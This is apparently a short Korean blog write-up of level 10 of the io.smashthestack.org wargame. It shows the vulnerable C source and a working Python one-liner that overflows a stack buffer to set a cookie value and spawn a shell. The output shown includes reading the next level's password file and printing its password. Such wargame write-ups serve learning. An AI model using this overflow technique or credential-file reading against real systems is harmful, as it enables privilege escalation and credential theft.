io.smashthestack.org - Level 10

Level 10 소스는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[260];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];
}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}

소스를 살펴보면 일단 cookie 변수가 0x0defaced 로 셋팅이 되어야 되는것을 확인할 수 있다. 아마 이것은 f() 함수에서 오버플로우가 나서 될 것으로 보인다. 공격을 해보도록 하자.

1
2
3
4
5
6
7
8
level10@io:/levels$ ./level10 `python -c "print '\xed\xac\xef\x0d'*100"` 
Segmentation fault
level10@io:/levels$ ./level10 `python -c "print '\x0d\xed\xac\xef'*100"`    
sh-3.2$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10),1029(nosu)
sh-3.2$ cat /home/level11/.pass
budt0cgd
sh-3.2$ 

생각보다 쉽게 풀렸는데 당연히 주소가 안맞을거라 생각하고 조금씩 위치를 변경해주다 보면 맞아떨어져 쉘이 뜬다.

Hugo로 만듦
Jimmy의 Stack 테마 사용 중